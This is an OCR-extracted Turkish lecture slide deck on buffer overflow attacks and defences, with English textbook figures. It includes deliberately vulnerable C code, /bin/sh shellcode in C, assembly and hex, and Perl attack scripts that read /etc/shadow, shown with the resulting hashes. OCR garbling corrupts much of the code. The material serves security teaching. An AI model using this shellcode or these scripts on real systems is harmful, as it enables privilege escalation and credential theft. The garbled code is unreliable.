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3.1. Arabellek Tasmasi



3.1.Icerik

Yigin Arabellek Tasmalari
Arabellek Tasmalarina Karsi Savunma
Tasma Saldirilarinin Diger Bicimleri



Bazi Arabellek Tasmasi1 Saldirilarinin
Kisa Tarihi

Morris Internet Solucan. saldinn mekanizmalarindan biri olarak "fingerd” da bir
arabellek tasmasi 1stismarim kulland:

NCSA httpd 1.3"te bir arabellek tasmasi kesfedildi ve Thomas Lopatik
tarafindan Bugtraq posta listesinde vayimnlandi

Aleph One, Phrack dergisinde vigin tabanh arabellek tasmasi giivenlik
aciklanndan vararlanma konusunda adim adim bir gins sunan "Smashing the

stack for Fun and Profit’ Eglence ve Kar icin Yigii Parcalamak " 1 vayinladi.
Code Red solucani, Microsoft IIS 5.0'daki arabellek tasmasini kulland:

Slammer solucam, Microsoft SQL Server 2000'deki arabellek tasmasim
kullands

sasser solucam. Microsoft Windows 2000/XP Yerel Giivenlik Yetkilisi Alt
Sistem Hizmeti'ndeki (Local Secunty Authority Subsystem Service -LSASS)
bir arabellek tasmasindan yararland:




Arabellek Tasmasi

® Cok yaygin bir saldir1 mekanizmasi

* Ik olarak 1988'de Morris Worm tarafindan yaygin
olarak kullanild.

® Bilinen onleme teknikleri

® Hala buyuk endise

® Yaygin olarak dagitilan isletim sistemleri ve
uygulamalarda buggy kodun mirasi

® Programcilar tarafindan devam eden dikkatsiz
programlama uygulamalari



Arabellek Tasmasi

Arabellek tasmasi olarak da bilinen bir tampon
bellek tasmasi, NIST Temel Bilgi Gtivenligi Terimleri
Sozlugunde su sekilde tanimlanair:

“Bir arabellege veya veri tutma alanina tahsis
edilen kapasiteden daha fazla girdinin
yerlestirilebildigi ve diger bilgilerin tizerine
yazildigi durumdur. Saldirganlar, bir sistemi
cokertmek veya sistemin kontroliinti ele
gecirmelerini saglayan 6zel hazirlanmis bir kod
eklemek icin boyle bir durumdan yararlanir.”



Arabellek Tasmasi
Temelleri

® Bir proses, verileri sabit Sonuglar:
boyutlu bir arabellek
sinirlarinin otesinde * Program
depolamaya calistiginda verilerinin
olusan programlama bozulmasi
hatasidir

* Beklenmeyen
® Bitisik bellek konumlarinin kontrol devri

uzerine yazar e Bellek eri§im
® Konumlar diger program ihlalleri
degiskenlerini,
parametreleri veya program e Saldirgan
kontr.o.l akis verilerini tarafindan
tutabilir

secilen kodun

® Arabellek/Tampon yi1ginda, iiriitiilmesi
Obekte veya islemin veri
boliimiuinde bulunabilir



int main(int argc, char *argv[]) {
int valid = FALSE;
char strl[8];
char str2([8];

next tag(strl);
gets (str2);
if (strncmp(strl, str2, 8) == 0)
valid = TRUE;
printf ("bufferl: strl(%s), str2(%s), valid(%d)\n", strl, str2, valid);

(a) Basicbuffer overflow C code

S cc -g -o bufferl bufferl.c

$ ./bufferl

START

bufferl: strl (START), str2(START), wvalid(l)

S ./bufferl

EVILINPUTVALUE

bufferl: strl (TVALUE), str2 (EVILINPUTVALUE), valid(O0)
S ./bufferl

BADINPUTBADINPUT
bufferl: strl (BADINPUT), str2 (BADINPUTBADINPUT), valid(1l)

(b) Basic buffer overflow example runs

Figure 10.1 Basic Buffer Overflow Example
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Figure 10.2 Basic Buffer Overflow Stack Values




Arabellek Tasmasi
Saldirilari

® Arabellek tasmasindan yararlanmak icin saldirganin
sunlara ihtiyaci vardair:

® Bazi programlarda, saldirganlarin kontrolii altinda harici kaynakl
veriler kullanilarak tetiklenebilen bir arabellek tasmasi gtivenlik acigini
belirlemek

® Bu arabellegin islem belleginde nasil depolanacagini ve dolayisiyla
bitisik bellek konumlarini bozma ve potansiyel olarak programin
yurtitme akisii degistirme potansiyelini anlamak

® Guvenlik agig1 bulunan programlarin belirlenmesi su
sekilde yapilabilir:
® Program kaynagimin incelenmesi
® Biyuk boyutlu girdileri islerken programlarin yuritilmesini izleme

® Olas1 guivenlik a¢ig1 bulunan programlari otomatik olarak belirlemek
icin Fuzzing gibi araglar1 kullanma

® Fuzzing 1989 yilinda Prof Barton Miller ve 0grencileri tarafindan
gelistirilmistir.



Programlama Dilinin
Gecmisi

Makine diizeyinde, bilgisayar islemcisi tarafindan yturtitiilen makine
komutlar: tarafindan manipiile edilen veriler, islemcinin registerlerinde
veya bellekte saklanir.

® Kaydedilen herhangi bir veri degerinin dogru yorumlanmasindan
Assembly dili programcisi sorumludur.

)

* Bu nedenle arabellek
tasmasina karsi
savunmasizdir

*Yaygin olarak kullanilan,

* Arabellek tasmalarina karsi
savunmasiz degildir

* Ek yike, kullanimda baz

sinirlamalara neden olur
guvenli olmayan ve
dolayisiyla savunmasiz
kodlardan olusan genis bir
mirasa sahiptir




Y1gin Arabellek Tasmalari

® Arabellek y1iginda bulundugunda
gerceklesir
® Yigin parcalama olarak da adlandirilir

® Morris Worm tarafindan kullanild:
* Istismarlar, denetlenmeyen bir arabellek tasmasr igerir

® Hala yaygin olarak somurilmektedir
® Y1g1n cercgevesi (stack frame)

® Birislev digerini ¢agirdiginda, doniis adresini kaydetmek icin
bir yere ihtiya¢ duyar
® Ayrica, cagrilan isleve iletilecek parametreleri kaydetmek ve

muhtemelen registerde bulunan degerlerini kaydetmek i¢in
konumlara ihtiya¢ duyar.
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Figure 10.3 Example Stack Frame with Functions P and Q
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void hello(char *tag)

{
char inp[16];

printf("Enter value for %s: ", tag);

gets(inp);

printf("Hello your %s is %s\n", tag, inp);
}

(a) Basic stack overflow C code
$ cc -g -o buffer2 buffer2.c

$ ./buffer2

Enter value for name: Bill and Lawrie
Hello your name is Bill and Lawrie
buffer2 done

$ ./buffer2
Enter value for name: XXXXXX XXX XX XXX XXX XXX XXX XXX XXX XX XX XXX
Segmentation fault (core dumped)

$ perl -e 'print pack("H*", "414243444546474851525354555657586162636465666768
08fcffbfo48304080a4edededea™); | ./ouffer2

Enter value for name:

Hello your Re?pyy]JuEA is ABCDEFGHQRSTUVWXabcdefguyu

Enter value for Kyyu:

Hello your Kyyu is NNNN

Segmentation fault (core dumped)

(b) Basic stack overflow example runs

Figure 10.5 Basic Stack Overflow Example
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Figure 10.6 Basic Stack Overflow Stack Values




woid getinp(char #*inp, int BiEz)
{

putse | ~Input wvalue: ~);

fgets(inp, Biz, stdin);

printf|~buffersi getinp read ®%s%n~=, inp);
¥

woid display(char *wal)

{
char tmp[16];
gprintf(tmp, "read wal: ®s'n~, wal);
Pute(Top)

main({int arge, char *argw[]]

char buf[16]; Ba§ka Bll‘

getinp(buf, sizecf(buf));
display(buf);

printf|{~buffers done\n-); Ylgln
ia) Another stack overflow C code Ta§maS]_

5 o -0 buffers buffers.c

- ontters Ornegi

Input walue:

SAFE

buffers getinp read SAFE
read wal: SAFE

buffers done

5 ./buffers
Input walue:

buffers getinp read EEEEEEEEHININTE
read wal: ENENEEEENENENE

bufferi done
Ssegmentation fault (core dumped)

(b) Another stack overflow example runs

Figure 10.7 Another Stack Overflow Example



Bazi1 Yaygin Guvenli Olmayan
C Standart Kutuphane

Rutinleri
standart girdiden str'ye satr okur

sprintfichar *stv, char *format, ...) saglanan bicime ve degiskenlere gére str olusturur
streat(char *dest, char *sre) string src'nin icerigini string dest'e ekler

strepyvichar *dest, char *src) string src'nin icerigini string dest'e kopvalar

vsprintfichar *stv, char *fmt, va_list ap) | saglanan bicime ve degiskenlere gére str olusturur

Bu rutinlerin tumu stphelidir ve aktarilmakta olan verilerin toplam boyutu
onceden kontrol edilmeden veya daha da iyisi daha guvenli alternatiflerle
degistiriimeden kullaniimamalidir.



Kabuk kodu/ShellCode

® Bircok arabellek tasmasi saldirisinin onemli bir
bileseni, ylirtitmenin saldirgan tarafindan saglanan
koda aktarilmasidir.

® Saldirgan tarafindan saglanan koddur

® Genellikle tasan ara bellege kaydedilir

® Geleneksel olarak bir kullanici komut satir1 yorumlayicisina (kabuk)
denetimin aktarilmasidir

® Makine kodu

* iglemciye ve isletim sistemine Ozeldir

® Olusturmak icin geleneksel olarak iyi Assebly dili becerilerine
ihtiya¢ duyulur

® Daha yakin zamanlarda, bu stireci otomatiklestiren bir dizi site ve
arac gelistirilmistir.
® Metasploit Projesi

® Sizma, IDS imzasi gelistirme ve istismar arastirmasi yapan kisilere
faydah bilgiler saglar



int main{int argo, char *argw[]]
{

ghar =mh:

char *arga[2]:

mh = "Jbin/=h"=

arga[l] = sh:

arge[l] = HULL?

eneove (sh, arges, HUOLL):

ja) Dezsired shellcode code in T

o
nop end of nop sled
Jjup find Jjurp to end of cods
bmmi pop address of sh off stack into fesi
Bean, bemic zero oontents of ERH
mow fal, Ix7(Resi) gopy zero byte to end of string sh [(lesi)
les [(Ymmi), babx load address of sh [%=mi) into Bmbox
wow fmbar, Oul(bemi) save sddress of sh in argsa[0] (Y=si+d)
mow beaxn, Do beadi) gopy zero to arga[l] (Yemit+o)
mow 5hxb, dal gopy exscwve syescall mumber (11) to AL
wow iemi, bebx copy address of sh (besi) t0 %ebo

les OxB[lemi), beon copy address of arge |%esi+8) to Semox
lea fno[lesi), bedn copy address of arge[l] (%esito) to Yedx

int cQxBD
oall oont

.mtring "/binfsh "
«long 0
«long 0

software interrupt to exmscute syscall
call oont which sawves next address on

string oconstant
space used for args array
arga[l] and aleo HULL for env array

(b} Equivalent pozition-independent x86 aszembly code

50 %0 &b la 5= 31 o0 B8 46 07 Bd le ES 5= D8 B9
46 0o bO Ob B9 £3 Bd de 02 Bd 56 0o od EBO =8 =1
£f £f £f 2f 62 69 6= 2f 73 68 20 20 20 20 20 20

ic) Hexadecimal values for compiled 86 machine code

Figure 10.8 Example UNIX Shellcode




Bazi Yaygin x86 Assembly Dili Yonergeleri

MOV src. dest

degen src'den dest'e kopyala (tas1)

LEA src_ dest

src'nin adresini (vik etkin adresi) dest'e kopvala

ADD / SUB src, dest

dest'ten src've deger ekle / ¢ikar ve sonucu dest'te vaz

AND / OF. / XOFE. src_ dest

sre'deki degeri dest’deki degerle mantiksal AND / OR / XOR

1slemi vap ve sonucu dest’e vaz

CMP wvall, val2

sonu¢ olarak CPU bayraklarini setleverek vall ve val2'yv1
karsilastir

JMP / JZ / INZ addr

alta / sifirsa atla / safirdan farkls 1se atla

PUSH src

src'dekt degert vigina 1t

POP dest

vigimn tepesindeki degen dest'e al

CALL addr

addr’ deki fonksivonu cagir

LEAVE

fonksivondan ayrilmadan dnce vigin cercevesini temizle

RET

fonksivondan dén

INT num

isletim sistemi 1slevine erismek icin num vazilim intermpti

NOP

operasyon vok veva hicbirsey yapma komutu




Baz1 x86 Registerlar1

Kullanim

Arntmetik ve G/C 1slemler 1cin kullanilan ve kesme
cagrilarin yiiriten akimiilatdrler

Bellege enismek_ sistem cagrisi bagimsiz
degiskenlerini 1letmek ve degerlen dondirmek 1cin

kullamilan temel kavitlar

Savac kayitlan

Aritmetik 1slemler, kesme cagrilar ve 10 1slemler:
icin kullamilan veri kayitlan

Gegerh y1gin gergevesmin adresini igeren Temel
Isaretc1

Yiiriitilecek bir sonraki komutun adresini igeren
Komut [saretcisi veva Program Savaci

Dize veya dizi 1slemler icin bir 1saretct olarak
kullanilan Kaynak Dizin kaydi

Yigimin tepesinin adresini iceren Yidin Isaretcisi




5 dir -1 bufferd
—rW3r-xXr-x 1 root knoppix 16571 Jul 17 10:49 buffer4

5 whoami

knoppix

5 cat /fetc/shadow

cat: fetc/shadow: Permission denied

5 cat attackl

perl -e 'print pack("H*",
“90909090909090909090909090909090"
“90909090909090909090909090909090"
"9090ebla5e31c08846078d1e8950889"
"460cb00bB9f38d4e088d560ccdB0e8el”
CEfffff2f62696e2£f7368202020202020" .
"202020202020202038fcffbfcOfbEifbf0a”);
print "whoami\n";

print "cat fetc/shadow\n";'

5 attackl | bufferd

Enter value for name: Helleo your yyy)DAOApy is e?"1AFF.../bin/sh...
root

root:515rNLTId4r¥SnkaVJ1xHT . 4UJT419JRLEk1:13346:0:99999:7:::
daemon:*:11453:0:99999:7:::

nobody:*:11453:0:99999:7:::
knoppix:$15FvZSBEBuSEdSFvuuJdEaCHEY0IdnAv,/:13346:0:99999:7:::

Figure 10.9 Example Stack Overflow Attack




Y1gin Tasmasi Degiskenleri

Hedef program Shellcode
..... Olabilir: fonksiyonlari




Arabellek Tasmasina karsi
Savunmalar

* Arabellek s,
tasmalar:
yaygin olarak
kullanilir

Derleme zamani Kosma zamani

Saldirilara direnmek

., Mevcut programlardaki
icin programlari

saldirilar tespit etmeyi
ve durdurmay1 hedefler

saglamlastirmay1
hedefler




Derleme Zamani Savunmalari;
Programlama dili

® Modern bir st
duzey dil kullanin

» Kontrolleri uygulamak i¢in ¢alisma zamaninda

® Arabellek tasmasi ek kod yirttiilmelidir
saldirilarina kaft?l _ e Esneklik ve giivenlik, kaynak kullaniminda bir
savunmasiz degildir maliyete sahiptir

. Perl.eyici, degiskenler — EAyNT yatan makine dili ve mimarisinden uzaklik,
lizerinde é@hk - bazi talimatlara ve donanim kaynaklarina
kontrollerini ve izin erisimin kaybedilmesi anlamina gelir
Viﬂl;rn iglemleri * Bu tiir kaynaklarla etkilesime girmesi gereken
z

aygit stiriicileri gibi kod yazma konusundaki
kullanigliliklarini sinirlar.




Derleme Zamani Savunmalarzi:
Guvenli Kodlama Teknikleri

® Ctasarimalari, alan verimliligine ve performans
hususlarina tip gtivenliginden cok daha fazla onem
vermislerdir.

® Varsayilan programcilar kod yazarken gerekli 6zeni
gostereceklerdir.
Programcilarin kodu incelemeleri ve gtivenli olmayan
kodlamalar1 yeniden yazmalari gerekir.
® Bunun bir ornegi,openBSD projesidir.
® Programcilar, isletim sistemi, standart kiitiiphaneler ve
ortak yardima programlar dahil olmak tizere mevcut kod
tabanini denetlediler.

® Bu, yaygin kullamimda en giivenli isletim sistemlerinden biri
olarak kabul edilen sistemle sonuclanda.



int copy_buf(char *to, int pos, char *from, int len)

{

inti;

for (i=0; i<len; i++) {
to[pos] = from[i];
pOS++;

}

return pos;
}

(&) Unsafe byte copy

short read_chunk(FILE fil, char *to)
{

short len;
fread(&len, 2, 1, fil); /[* read length of binary data */
fread(to, 1, len, fil); [* read len bytes of binary data

return len;

b
(b) Unsafe byte input

Figure 10.10 Examplesof Unsafe C Code




Derleme Zamani Savunmalari:
Dil Uzantilari/Guvenli Katuphaneler

® Boyut bilgileri derleme zamaninda mevcut olmadig: icin
dinamik olarak ayrilan bellegin islenmesi daha problemlidir.

® Bir uzant1 ve kiitiiphane rutinlerinin kullanimim gerektirir

® Programlarin ve kiittiphanelerin yeniden derlenmesi gerekiyor
® Uclincu taraf uygulamalarda sorun yasama olasilig: ytiksektir

® Cileilgili endise, givenli olmayan standart kiitiphane
rutinlerinin kullanilmasidir

® Bir yaklasim, bunlar1 daha giivenli varyantlarla
degistirmek olmustur.

® Libsafe bir ornektir

® Kitliphane, mevcut standart kiittiphanelerden once ytiklenecek
sekilde diizenlenmis dinamik bir kiitiiphane olarak uygulanur.



Derleme Zamani Savunmalari:
Y1gin Korumasi

® Bozulma belirtileri olup olmadigini kontrol etmek icin
islev girisi ve ¢ikis kodu eklenir
® Rastgele kanarya kullan (kanarya:arabellek tagsmalarini izlemek

icin y1gindaki bir arabellek ile denetim verileri arasina yerlestirilen
bilinen degerlerdir)

® Deger ongoriilemez olmalidir
® Farkli sistemlerde farkli olmalidir

® Stackshield ve Doniis Adresi Savunucusu (RAD)
* Ekislev girisi ve ¢ikis kodu igeren GCC uzantilar:

* Islev girisi, doniis adresinin bir kopyasini bellegin giivenli bir
bolgesine yazar

* Islev cikis kodu, y1g1n cercevesindeki doniis adresini kaydedilen
kopyaya gore kontrol eder

® Degisiklik bulunursa programi iptal eder



Kosma Zamani Savunmalarz:
Yurutilebilir Adres Alani
Korumasi

* Bellek yonetim biriminden * Yiiriitiilebilir y181n kodu
(MMU) destek gerektirir destegi
e SPARC / Solaris sistemlerinde e Ozel hiikiimler gereklidir

uzun siiredir var

® x86 Linux/Unix/Windows
sistemlerinde en son
sturimlerde var



Kosma Zamani Savunmalarz:
Adres Alani1 Rastgelelestirme

® Onemli veri yapilarmin konumunu degistirin
® Stack, heap, global data
® Her process i¢in rastgele kaydirma kullanma

®* Modern sistemlerde genis adres araligy,
bazilarinin israf edilmesinin ihmal edilebilir bir
etkiye sahip oldugu anlamina gelir

® Heap arabelleklerinin konumunu rastgele
ayarlanir

® Standart kiitiiphane fonksiyonlar: rastgele
konumlandirilir



Kosma Zamani Savunmalarz:
Koruma Saytalari

® Koruma sayfalarini kritik bellek bolgeleri arasina
yerlestirilir
®* MMU'da gecgersiz adresler olarak isaretlenir
® Herhangi bir erisim denemesi islemi iptal eder

® Daha fazla uzanti, koruma sayfalarini stack
cerceveleri ve heap arabellekleri arasina
yerlestirilir
® Gerekli olan ¢ok sayida sayfa eslemesini desteklemek
icin ylriitme siiresindeki maliyet artar



Yedek Yigin Cergevesi

Arabellek ve kaydedilen
cerceve isaret¢isi
adresinin iizerine yazan
varyant

* Kaydedilen cerceve isaretcisi
degeri, bos bir y181n ¢ercevesine
atifta bulunacak sekilde
degistirilir

¢ Gegerli islev, degistirilen bos
cerceveye geri doner

¢ Kontrol, iizerine yazilan
arabellekte kabuk koduna
aktarilir

Off-by-one Saldirisi

¢ Kullanilabilir alandan bir bayt
daha fazla kopyalanmasina izin
veren kodlama hatas:

Savunmalar

e islev c1kis koduyla y1gin
cercevesi veya doniis
adresindeki degisiklikleri
algilamak i¢in herhangi bir
y1gin koruma mekanizmasi

* Yiiriitiilemeyen y1ginlar
kullanma

* Bellekteki y1ginin ve sistem
kitapliklarinin
rasgelelestirilmesi




Sistem Cagrisina Donus

® Savunmalar

Islev cikis koduyla stack
cercevesi veya donus
adresindeki
degisiklikleri algilamak
icin herhangi bir stack
koruma mekanizmasi

Yurutilemeyen stack
kullanma

Bellekteki stacklerin ve
sistem kiitiiphanelerinin
rasgelelestirilmesi

® Stack tasmasi
varyanti, donus
adresini standart
kiituphane isleviyle

o ls

gistirir
Yurutulemeyen stack
savunmalarina yanit

Saldirgan, dontis adresinin
tizerindeki stackde uygun
parametreler olusturur

Islev geri doner ve
kiittiphane islevi yurutulir
Saldirganin tam arabellek
adresine ihtiyaci olabilir

Hatta iki kuitiphane
cagrisini zincirleyebilir



Heap lasmasi

® Heap icinde bulunan arabellege saldir1

® Tipik olarak program kodunun tizerinde bulunur

® Dinamik veri yapilarinda (baglantili kayat listeleri gibi) kullanilmak
lizere programlar tarafindan bellek talep edilir.

® Geri donus adresi yoktur
® Bunedenle kontroliin kolay bir sekilde devredilmesi miimkiin degildir.
® Somitrecek Fonksiyon potinterlarina sahip olabilir.
® Veya yonetim veri yapilarini manipiile eder

e Heapi yuriitiillemez hale getirme

* Heap tizerinde bellek tahsisini rasgele hale
getirme




/* record type to allocate on heap =/
typedef struct chunk {

char inp[64]; /* wulnerable input buffer =/

wold (*process){char *#); J/* pointer to function to process inp */
} chunk t;

wvold showlen(char *buf)
{
int len;
len = strlenjbuf);
printf|-buffers read %d chars\n=, len);

main(int argc, char *argwv[])
chunk t *next;

gatbuf (stdin, WULL);

next = malloc(sizecf|chunk t));
next-»process = showlen;
printf|“Enter walue: =);

gets (next-»inp);

next-»process (Iext-=inp) ;
printf|"buffers dene\n=);

(3} Vulnerable heap overflow C code

% Ccat attackz

#1/bin/sh

# implement heap overflow against program buffers
perl -e 'print pack(*H®",
“90909090909090909090909050909050~
"g0%0eblaSelilc08846078d1e809520889 "
“460cboobasfisddennagdss0ccdanedel™
~ffffffafaz696e2f7368202020202020"
"bBa704080a7);

print "whoamihn®;

print "cat Sfetc/shadow\n=;"

5 attack? | buffers
Enter wvalue:

oot

root:51540InmychsTIBVSZEIOYHRG JGUzF403/:13347:0:599599:7z:1:
daemon:*:11453:0:99999:17:::

nobody:*:114553:0:99998: 722

knoppix: 5 15p2WeiTHLS  yWHRQUWS KW IOETe3beaj /1133470299999 7 & ¢

(b} Example heap overflow attack

Figure 10.11 Example Heap Overflow Attack




Global Veri Tasmasi

® Global verilerde

Sl bulunan arabellege

®* Yiiriitiilemeyen veya saldirabilir
rastgele global veri ® Program kodunun
bolgesi tizerinde bulunabilir

. : ® Fonksiyon isaretgisi ve
Fonksiyon savunmasiz arabellek
isaretcilerini tasi varsa

® Veya bitisik stireg
yonetimi tablolar:

® Daha sonra ¢agrilan
fonksiyon isaretgisinin
uzerine yazmayl
hedefler

® Koruma saytalari




/* global static data - will be targeted for attack =/
gtruct chunk {

char inp[64]; /= input buffer =/

wold (*process)(char *); Jf+* pointer to function to process it =/
} chunk;

wold showlen(char *buf)
{
int len;
len = strlen(buf);
printf|“buffers read %d chars‘n", len);

main{int argec, char rargw[])

getbuf(stdin, WULL);
chunk.process = showlen;
printf(“Enter walue: =);
gets (chunk.inp);
chunk.process(chunk.inp);
printf|-“buffers done\n=);

(@) Vulnerable global data overflow C code

& cat attack3

#1/bin/eh

# implement global data owverflow attack against program buffers
perl -e "print pack|~H=*",
"890909090909059059090905090909090590~
"90%0eblaSellci8846078d1le89520889"
"460cbiob8sfi8ddenasdss0codiiedel™
ffffffefaz696e2f7368202020202020"
"409704080a7);

print “whoamiln®j

print “cat fetc/shadow’\n=;"

5 attack3 | buffers

Enter walue:

root

root: 51540lnmychST3BVEZEOYHRG JGUzF403 /1 1334 7:0:99999:T:: ¢
daemon:*:11453:0:99999:7:::

nobody:*:111453:0:99999: 7115
Knoppix:515p2wEiIMLS /yWHRUWS kv lUFJe3boa]f213347:0:99999: 7z ¢

ib) Example global data overflow attack

Figure 10.12 Example Global Data Overflow Attack
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